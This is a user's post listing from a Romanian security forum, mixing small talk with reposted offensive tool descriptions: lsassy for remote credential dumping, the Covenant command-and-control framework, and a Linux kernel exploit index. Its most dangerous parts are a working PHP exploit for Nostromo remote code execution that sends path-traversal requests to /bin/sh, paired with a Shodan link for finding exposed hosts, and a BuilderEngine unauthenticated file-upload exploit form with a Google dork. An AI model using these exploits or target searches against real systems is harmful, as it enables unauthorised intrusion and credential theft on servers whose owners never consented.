Jump to content

BiosHell

Active Members
  • Content Count

    414
  • Joined

  • Last visited

  • Days Won

    22

Everything posted by BiosHell

  1. cursuri offensive security + hackthebox + creat cateva ctf'uri pentru wizard-labs
  2. daca n-a facut si deface "degeaba" ....2020 hackerman #imuseless#imashit
  3. Si daca esti pe pastile...zi ce iei? ca m-ai facut curios
  4. lsassy Python library to remotely extract credentials. This library uses impacket projects to remotely read necessary bytes in lsass dump and pypykatz to extract credentials. Chapters Description Requirements Requirements to install lsassy from source Basic Usage Command line template for standalone version Advanced Usage Advanced usage (Dumping methods, execution methods, ...) CrackMapExec Module Link to CrackMapExec module included in this repository Examples Command line examples for standalone and CME module Installation Installation commands from pip or from source Issues Read this before creating an issue Acknowledgments Kudos to these people and tools Requirements Python >= 3.6 pypykatz >= 0.3.0 impacket Download Link : https://github.com/Hackndo/lsassy
  5. Covenant is a .NET command and control framework that aims to highlight the attack surface of .NET, make the use of offensive .NET tradecraft easier, and serve as a collaborative command and control platform for red teamers. Covenant is an ASP.NET Core, cross-platform application that includes a web-based interface that allows for multi-user collaboration. Quick-Start Guide Please see the Installation and Startup guide to get started with Covenant! The Wiki documents most of Covenant's core features and how to use them. Features Covenant has several key features that make it useful and differentiate it from other command and control frameworks: Intuitive Interface - Covenant provides an intuitive web application to easily run a collaborative red team operation. Multi-Platform - Covenant targets .NET Core, which is multi-platform. This allows Covenant to run natively on Linux, MacOS, and Windows platforms. Additionally, Covenant has docker support, allowing it to run within a container on any system that has docker installed. Multi-User - Covenant supports multi-user collaboration. The ability to collaborate has become crucial for effective red team operations. Many users can interact with the same Covenant server and operate independently or collaboratively. API Driven - Covenant is driven by an API that enables multi-user collaboration and is easily extendible. Additionally, Covenant includes a Swagger UI that makes development and debugging easier and more convenient. Listener Profiles - Covenant supports listener “profiles” that control how the network communication between Grunt implants and Covenant listeners look on the wire. Encrypted Key Exchange - Covenant implements an encrypted key exchange between Grunt implants and Covenant listeners that is largely based on a similar exchange in the Empire project, in addition to optional SSL encryption. This achieves the cryptographic property of forward secrecy between Grunt implants. Dynamic Compilation - Covenant uses the Roslyn API for dynamic C# compilation. Every time a new Grunt is generated or a new task is assigned, the relevant code is recompiled and obfuscated with ConfuserEx, avoiding totally static payloads. Covenant reuses much of the compilation code from the SharpGen project, which I described in much more detail in a previous post. Inline C# Execution - Covenant borrows code and ideas from both the SharpGen and SharpShell projects to allow operators to execute C# one-liners on Grunt implants. This allows for similar functionality to that described in the SharpShell post, but allows the one-liners to be executed on remote implants. Tracking Indicators - Covenant tracks “indicators” throughout an operation, and summarizes them in the Indicators menu. This allows an operator to conduct actions that are tracked throughout an operation and easily summarize those actions to the blue team during or at the end of an assessment for deconfliction and educational purposes. This feature is still in it’s infancy and still has room for improvement. Developed in C# - Personally, I enjoy developing in C#, which may not be a surprise for anyone that has read my latest blogs or tools. Not everyone might agree that development in C# is ideal, but hopefully everyone agrees that it is nice to have all components of the framework written in the same language. I’ve found it very convenient to write the server, client, and implant all in the same language. This may not be a true “feature”, but hopefully it allows others to contribute to the project fairly easily. Download Link : https://github.com/cobbr/Covenant
  6. Kernel Exploits pp_key Kernels: 3.8.0, 3.8.1, 3.8.2, 3.8.3, 3.8.4, 3.8.5, 3.8.6, 3.8.7, 3.8.8, 3.8.9, 3.9, 3.10, 3.11, 3.12, 3.13, 3.4.0, 3.5.0, 3.6.0, 3.7.0, 3.8.0, 3.8.5, 3.8.6, 3.8.9, 3.9.0, 3.9.6, 3.10.0, 3.10.6, 3.11.0, 3.12.0, 3.13.0, 3.13.1 overlayfs Kernels: 3.13, 3.16.0, 3.19.0 Executable Exploit: ofs_64 Ubuntu 14.10 - Linux ubuntu 3.16.0-23-generic #31-Ubuntu x86_64 Ubuntu 14.04 - Linux ubuntu 3.13.0-24-generic #46-Ubuntu x86_64 Ubuntu 14.04 - Linux ubuntu 3.16.0-30-generic #40~14.04.1-Ubuntu x86_64 Executable Exploit: ofs_32 Ubuntu 14.04 - Linux ubuntu 3.13.0-24-generic #46-Ubuntu x86_32 Ubuntu 14.10 - Linux ubuntu 3.16.0-23-generic #31-Ubuntu x86_32 rawmodePTY Kernels: 2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36, 2.6.37, 2.6.38, 2.6.39, 3.14, 3.15 timeoutpwn Kernels: 3.4, 3.5, 3.6, 3.7, 3.8, 3.8.9, 3.9, 3.10, 3.11, 3.12, 3.13, 3.4.0, 3.5.0, 3.6.0, 3.7.0, 3.8.0, 3.8.5, 3.8.6, 3.8.9, 3.9.0, 3.9.6, 3.10.0, 3.10.6, 3.11.0, 3.12.0, 3.13.0, 3.13.1 Executable Exploit: timeoutpwn64 Ubuntu 13.10 - Linux ubuntu 3.11.0-12-generic #19-Ubuntu x86_64 perf_swevent Kernels: 3.0.0, 3.0.1, 3.0.2, 3.0.3, 3.0.4, 3.0.5, 3.0.6, 3.1.0, 3.2, 3.3, 3.4.0, 3.4.1, 3.4.2, 3.4.3, 3.4.4, 3.4.5, 3.4.6, 3.4.8, 3.4.9, 3.5, 3.6, 3.7, 3.8.0, 3.8.1, 3.8.2, 3.8.3, 3.8.4, 3.8.5, 3.8.6, 3.8.7, 3.8.8, 3.8.9 Executable Exploit: perf_swevent Ubuntu 12.04.2 - Linux ubuntu 3.5.0-23-generic #35-Ubuntu x86_64 Executable Exploit: perf_swevent64 Ubuntu 12.04.0 - Linux ubuntu 3.2.0-23-generic #36-Ubuntu x86_64 Ubuntu 12.04.1 - Linux ubuntu 3.2.0-29-generic #46-Ubuntu x86_64 Ubuntu 12.04.2 - Linux ubuntu 3.5.0-23-generic #35-Ubuntu x86_64 msr Kernels: 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36, 2.6.37, 2.6.38, 2.6.39, 3.0.0, 3.0.1, 3.0.2, 3.0.3, 3.0.4, 3.0.5, 3.0.6, 3.1.0, 3.2, 3.3, 3.4, 3.5, 3.6, 3.7.0, 3.7.6 memodipper Kernels: 2.6.39, 3.0.0, 3.0.1, 3.0.2, 3.0.3, 3.0.4, 3.0.5, 3.0.6, 3.1.0 Executable Exploit: memodipper Ubuntu 11.10 - 3.0.0-12-generic-pae #20-Ubuntu x86_32 Executable Exploit: memodipper64 Ubuntu 11.10 - 3.0.0-12-server #20-Ubuntu x86_64 american-sign-language Kernels: 2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 2.6.7, 2.6.8, 2.6.9, 2.6.10, 2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36 full-nelson Kernels: 2.6.31, 2.6.32, 2.6.35, 2.6.37 Executable Exploit: full-nelson Ubuntu 10.10 - 2.6.35-19-generic-pae #28-Ubuntu x86_32 Ubuntu 9.10 - 2.6.31-14-generic-pae #48-Ubuntu x86_32 Executable Exploit: full-nelson64 Ubuntu 10.10 - 2.6.35-19-server #28-Ubuntu x86_64 Ubuntu 9.10 - 2.6.31-14-server #48-Ubuntu x86_64 Ubuntu 10.04.1 - 2.6.32-24-server #39-Ubuntu x86_64 Ubuntu 10.04 - 2.6.32-21-server #32-Ubuntu x86_64 half_nelson Kernels: 2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 2.6.7, 2.6.8, 2.6.9, 2.6.10, 2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36 Executable Exploit: half-nelson3 Ubuntu 10.04 - Linux ubuntu 2.6.32-21-server #32-Ubuntu x86_64 Ubuntu 9.10 - 2.6.31-14-server #48-Ubuntu x86_64 rds Kernels: 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36 Executable Exploit: rds Debian 6 - Linux 2.6.31-1-686 32bit Ubuntu 10.10 - 2.6.35-19-generic-pae #28-Ubuntu x86_32 Ubuntu 10.04 - 2.6.32-21-generic-pae #32-Ubuntu x86_32 Ubuntu 10.04.1 - 2.6.32-24-generic-pae #39-Ubuntu x86_32 Ubuntu 9.10 - 2.6.31-14-generic-pae #48-Ubuntu x86_32 Executable Exploit: rds64 Debian 6 - Linux 2.6.31-1-amd64 x86_64 Debian 6 - Linux 2.6.32-trunk-amd64 x86_64 Debian 6 - Linux 2.6.34-1-amd64 x86_64 Debian 6 - Linux 2.6.35-trunk-amd64 x86_64 Ubuntu 10.10 - 2.6.35-19-server #28-Ubuntu x86_64 Ubuntu 10.04.1 - 2.6.32-24-server #39-Ubuntu x86_64 Ubuntu 10.04 - 2.6.32-21-server #32-Ubuntu x86_64 Ubuntu 9.10 - 2.6.31-14-server #48-Ubuntu x86_64 pktcdvd Kernels: 2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 2.6.7, 2.6.8, 2.6.9, 2.6.10, 2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36 ptrace_kmod2 Kernels: 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34 Executable Exploit: ptrace_kmod2-64 Debian 6 - Linux 2.6.32-trunk-amd64 x86_64 Debian 6 - Linux 2.6.33-2-amd64 x86_64 Debian 6 - Linux 2.6.34-1-amd64 x86_64 Debian 6 - Linux 2.6.35-trunk-amd64 x86_64 Ubuntu 10.10 - 2.6.35-19-server #28-Ubuntu x86_64 Ubuntu 10.04.1 - 2.6.32-24-server #39-Ubuntu x86_64 Ubuntu 10.04 - 2.6.32-21-server #32-Ubuntu x86_64 video4linux Kernels: 2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 2.6.7, 2.6.8, 2.6.9, 2.6.10, 2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33 can_bcm Kernels: 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36 Executable Exploit: can_bcm Ubuntu 10.04.1 - 2.6.32-24-generic #39-Ubuntu x86_32 reiserfs Kernels: 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34 do_pages_move Kernels: 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31 pipe.c_32bit Kernels: 2.4.4, 2.4.5, 2.4.6, 2.4.7, 2.4.8, 2.4.9, 2.4.10, 2.4.11, 2.4.12, 2.4.13, 2.4.14, 2.4.15, 2.4.16, 2.4.17, 2.4.18, 2.4.19, 2.4.20, 2.4.21, 2.4.22, 2.4.23, 2.4.24, 2.4.25, 2.4.26, 2.4.27, 2.4.28, 2.4.29, 2.4.30, 2.4.31, 2.4.32, 2.4.33, 2.4.34, 2.4.35, 2.4.36, 2.4.37, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31 udp_sendmsg_32bit Kernels: 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 2.6.7, 2.6.8, 2.6.9, 2.6.10, 2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19 sock_sendpage Kernels: 2.4.4, 2.4.5, 2.4.6, 2.4.7, 2.4.8, 2.4.9, 2.4.10, 2.4.11, 2.4.12, 2.4.13, 2.4.14, 2.4.15, 2.4.16, 2.4.17, 2.4.18, 2.4.19, 2.4.20, 2.4.21, 2.4.22, 2.4.23, 2.4.24, 2.4.25, 2.4.26, 2.4.27, 2.4.28, 2.4.29, 2.4.30, 2.4.31, 2.4.32, 2.4.33, 2.4.34, 2.4.35, 2.4.36, 2.4.37, 2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 2.6.7, 2.6.8, 2.6.9, 2.6.10, 2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30 sock_sendpage2 Kernels: 2.4.4, 2.4.5, 2.4.6, 2.4.7, 2.4.8, 2.4.9, 2.4.10, 2.4.11, 2.4.12, 2.4.13, 2.4.14, 2.4.15, 2.4.16, 2.4.17, 2.4.18, 2.4.19, 2.4.20, 2.4.21, 2.4.22, 2.4.23, 2.4.24, 2.4.25, 2.4.26, 2.4.27, 2.4.28, 2.4.29, 2.4.30, 2.4.31, 2.4.32, 2.4.33, 2.4.34, 2.4.35, 2.4.36, 2.4.37, 2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 2.6.7, 2.6.8, 2.6.9, 2.6.10, 2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30 exit_notify Kernels: 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29 udev Kernels: 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29 ftrex Kernels: 2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22 vmsplice2 Kernels: 2.6.23, 2.6.24 vmsplice1 Kernels: 2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.24.1 h00lyshit Kernels: 2.6.8, 2.6.10, 2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16 raptor_prctl Kernels: 2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17 elflbl Kernels: 2.4.29 caps_to_root Kernels: 2.6.34, 2.6.35, 2.6.36 mremap_pte Kernels: 2.4.20, 2.2.24, 2.4.25, 2.4.26, 2.4.27 krad3 Kernels: 2.6.5, 2.6.7, 2.6.8, 2.6.9, 2.6.10, 2.6.11 Download Link : https://github.com/lucyoa/kernel-exploits
  7. Windows EVTX Samples [More than 130 EVTX examples]: This is a container for windows events samples associated to specific attack and post-exploitation techniques. Can be useful for: Testing your detection scripts based on EVTX parsing Training on DFIR and threat hunting using event logs Designing detection use cases using Windows and Sysmon event logs Avoid/Bypass the noisy techniques if you are a redteamer N.B: Mapping has been done to the level of ATT&CK technique (not procedure), some items are marked in grey, meaning couldn't found a closer TTP that achieves same objective. Below a summarized overview of the covered TTPs using attack-navigator: License: Usage of the content of this repository for commercial purposes (e.g. tools, paid trainings, paid labs etc.) is not authorized prior formal written consent from the repository's owner. Reference Link : https://github.com/sbousseaden/EVTX-ATTACK-SAMPLES
  8. intra cu teamviewer lasa ursariile p' aici
  9. Sa ai pofta! La Multi Ani Rst !!!
  10. cu ce scop vrei sa strangi aceste smtp-uri?
  11. Daca merita Security+ ?? Categoric NU, du-te inspre alte certificari care sunt mai relevante
  12. Recon and Intel Gathering Tools 1. OSINT Framework 2. CheckUserNames 3. HaveIbeenPwned 4. BeenVerified 5. Censys 6. BuiltWith 7. Google Dorks 8. Maltego 9. Recon-Ng 10. theHarvester 11. Shodan 12. Jigsaw 13. SpiderFoot 14. Creepy 15. Nmap 16. WebShag 17. OpenVAS 18. Fierce 19. Unicornscan 20. Foca Reference Link : https://securitytrails.com/blog/top-20-intel-tools
  13. Kali Linux 2019.4 includes new undercover mode for pentesters doing work in public places Offensive Security, maintainers of the popular Kali Linux open source project, released Kali Linux 2019.4, the latest iteration of the Kali Linux penetration testing platform. The new release includes several new features, including a new default desktop environment, a new theme and a new undercover mode for pentesters doing assessment work in public places. Move from Gnome to Xfce The most noteworthy aspect of the 2019.4 release is Kali’s move from the Gnome environment to Xfce to address some known issues. Specific improvements as a result of the new environment include: Improved performance – The Gnome environment is a fully-featured desktop environment with many capabilities. However all the capabilities come with overhead that is often not useful for a distribution like Kali. Moving to the more lightweight Xfce environment addresses these issues, providing an environment more in line with the typical Kali user’s needs. Unified UI – Because Kali can be run on everything from bare metal to high end laptops, the lower-end ARM builds often had a different UI than other deployments. OffSec now offers a standardized UI for all Kali distributions. Kali Undercover Let’s say you are working in a public place and you might not want the distinctive Kali dragon for everyone to see and wonder what it is you are doing. The developers made a little script that will change your Kali theme to look like a default Windows installation. That way, you can work a bit more incognito. After you are done and in a more private place, run the script again and you switch back to your Kali theme. Other Kali Linux 2019.4 updates Kali Documentation has a new home and is now Git powered Public Packaging – getting your tools into Kali Kali NetHunter KeX – Full Kali desktop on Android BTRFS during setup Added PowerShell The kernel is upgraded to version 5.3.9 Plus the normal bugs fixes and updates.
  14. BiosHell

    Nostromo RCE

    I'm just gonna leave this here : https://www.shodan.io/search?query=nostromo
  15. <!-- # Exploit Title: BuilderEngine 3.5.0 Remote Code Execution via elFinder 2.0 # Date: 18/09/2016 # Exploit Author: metanubix # Vendor Homepage: http://builderengine.org/ # Software Link: http://builderengine.org/page-cms-download.html # Version: 3.5.0 # Tested on: Kali Linux 2.0 64 bit # Google Dork: intext:"BuilderEngine Ltd. All Right Reserved" 1) Unauthenticated Unrestricted File Upload: POST /themes/dashboard/assets/plugins/jquery-file-upload/server/php/ Vulnerable Parameter: files[] We can upload test.php and reach the file via the following link: /files/test.php --> <html> <body> <form method="post" action="http://localhost/themes/dashboard/assets/plugins/jquery-file-upload/server/php/" enctype="multipart/form-data"> <input type="file" name="files[]" /> <input type="submit" value="send" /> </form> </body> </html> Reference Link : https://www.exploit-db.com/exploits/40390
  16. BiosHell

    Nostromo RCE

    <?php $hos = $argv[1]; $cmd = $argv[2]; $po = explode(":", $hos); $fp = fsockopen($po[0], $po[1]); fwrite($fp, "POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0\r\n"); fwrite($fp, "Content-Length: 1\r\n\r\necho\necho\n{$cmd} 2>&1"); while (!feof($fp)) { echo fgets($fp, 1024); } ?> usage : php nostromo.php ip:port "commands"
×
×
  • Create New...